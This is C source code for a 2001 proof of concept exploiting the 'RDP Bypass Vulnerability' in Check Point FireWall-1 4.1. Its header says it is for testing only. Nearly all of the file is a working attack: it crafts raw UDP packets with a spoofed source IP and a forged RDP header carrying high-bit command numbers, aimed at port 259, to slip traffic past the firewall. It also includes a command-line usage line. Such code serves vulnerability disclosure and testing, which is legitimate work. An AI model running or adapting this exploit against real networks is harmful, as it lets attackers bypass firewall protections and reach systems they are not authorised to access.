/* Checkpoint FW-1 Version 4.1 "RDP Bypass Vulnerability" proof of concept code Copyright 2001 Jochen Bauer, Inside Security IT Consulting GmbH Compiled and tested on SuSE Linux 7.1 This program is for testing purposes only, any other use is prohibited! */ #include #include #include #include #include #include #include #include #include #include /*See $FWDIR/lib/crypt.def for the following definitions.*/ /*We set the highest bit, so that the RDP commands are */ /*not members of the sets RDPCRYPTF and RDPCRYPT_RESTARTF*/ #define RDP_PORT 259 /*RDP port*/ #define RDPCRYPT_RESTARTCMD 101|0x80000000 #define RDPCRYPTCMD 100|0x80000000 #define RDPUSERCMD 150|0x80000000 #define RDPSTATUSCMD 128|0x80000000 /*---------------Checksum calculation--------------------------------*/ unsigned short in_cksum(unsigned short *addr,int len) { register int nleft=len; register unsigned short *w=addr; register int sum=0; unsigned short answer=0; while(nleft>1) { sum+=*w++; nleft-=2; } if(nleft==1) { *(u_char *)(&answer)=*(u_char *)w; sum+=answer; } sum=(sum >> 16)+(sum & 0xffff); sum+=(sum >> 16); answer=~sum; return(answer); } /*----------------------------------------------------------------------*/ /*------------Send spoofed UDP packet-----------------------------------*/ int send_udp(int sfd,unsigned int src,unsigned short src_p, unsigned int dst,unsigned short dst_p,char *buffer,int len) { struct iphdr ip_head; struct udphdr udp_head; struct sockaddr_in target; char *packet; int i; struct udp_pseudo /*the udp pseudo header*/ { unsigned int src_addr; unsigned int dst_addr; unsigned char dummy; unsigned char proto; unsigned short length; } pseudohead; struct help_checksum /*struct for checksum calculation*/ { struct udp_pseudo pshd; struct udphdr udphd; } udp_chk_construct; /*Prepare IP header*/ ip_head.ihl = 5; /*headerlength with no options*/ ip_head.version = 4; ip_head.tos = 0; ip_head.tot_len = htons(sizeof(struct iphdr)+sizeof(struct udphdr)+len); ip_head.id = htons(30000 + (rand()%100)); ip_head.frag_off = 0; ip_head.ttl = 255; ip_head.protocol = IPPROTO_UDP; ip_head.check = 0; /*Must be zero for checksum calculation*/ ip_head.saddr = src; ip_head.daddr = dst; ip_head.check = in_cksum((unsigned short *)&ip_head,sizeof(struct iphdr)); /*Prepare UDP header*/ udp_head.source = htons(src_p); udp_head.dest = htons(dst_p); udp_head.len = htons(sizeof(struct udphdr)+len); udp_head.check = 0; /*Assemble structure for checksum calculation and calculate checksum*/ pseudohead.src_addr=ip_head.saddr; pseudohead.dst_addr=ip_head.daddr; pseudohead.dummy=0; pseudohead.proto=ip_head.protocol; pseudohead.length=htons(sizeof(struct udphdr)+len); udp_chk_construct.pshd=pseudohead; udp_chk_construct.udphd=udp_head; packet=malloc(sizeof(struct help_checksum)+len); memcpy(packet,&udp_chk_construct,sizeof(struct help_checksum)); /*pre-assemble packet for*/ memcpy(packet+sizeof(struct help_checksum),buffer,len); /*checksum calculation*/ udp_head.check=in_cksum((unsigned short *)packet,sizeof(struct help_checksum)+len); free(packet); /*Assemble packet*/ packet=malloc(sizeof(struct iphdr)+sizeof(struct udphdr)+len); memcpy(packet,(char *)&ip_head,sizeof(struct iphdr)); memcpy(packet+sizeof(struct iphdr),(char *)&udp_head,sizeof(struct udphdr)); memcpy(packet+sizeof(struct iphdr)+sizeof(struct udphdr),buffer,len); /*Send packet*/ target.sin_family = AF_INET; target.sin_addr.s_addr= ip_head.daddr; target.sin_port = udp_head.source; i=sendto(sfd,packet,sizeof(struct iphdr)+sizeof(struct udphdr)+len,0, (struct sockaddr *)&target,sizeof(struct sockaddr_in)); free(packet); if(i<0) return(-1); /*Error*/ else return(i); /*Return number of bytes sent*/ } /*---------------------------------------------------------------------*/ int main(int argc, char *argv[]) { int i; unsigned int source,target; unsigned short int s_port,d_port; char payload[]="abcdefg"; /*payload length must be a multiple of 4*/ char *data; /*RDP header, refer to $FWDIR/lib/tcpip.def*/ struct rdp_hdr { unsigned int rdp_magic; unsigned int rdp_cmd; } rdp_head; if(argv[1]==NULL || argv[2]==NULL || argv[3]==NULL) { printf("Usage: %s source_ip source_port dest_ip\n",argv[0]); return(1); } else { source=inet_addr(argv[1]); s_port=atoi(argv[2]); target=inet_addr(argv[3]); d_port=RDP_PORT; } /* the command number can be one of the following: */ /* RDPCRYPT_RESTARTCMD, RDPCRYPTCMD, RDPUSERCMD, RDPSTATUSCMD */ rdp_head.rdp_cmd=htonl(RDPCRYPT_RESTARTCMD); rdp_head.rdp_magic=htonl(12345); /*seems to be irrelevant*/ /*Assemble fake RDP header and payload*/ data=malloc(sizeof(struct rdp_hdr)+strlen(payload)+1); memcpy(data,&rdp_head,sizeof(struct rdp_hdr)); memcpy(data+sizeof(struct rdp_hdr),payload,strlen(payload)+1); if((i=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0) /*open sending socket*/ { perror("socket"); exit(1); } i=send_udp(i,source,s_port,target,d_port,data,sizeof(struct rdp_hdr)+strlen(payload)+1); if(i<0) printf("Error, packet not sent\n"); else printf("Sent %u bytes\n",i); return(0); }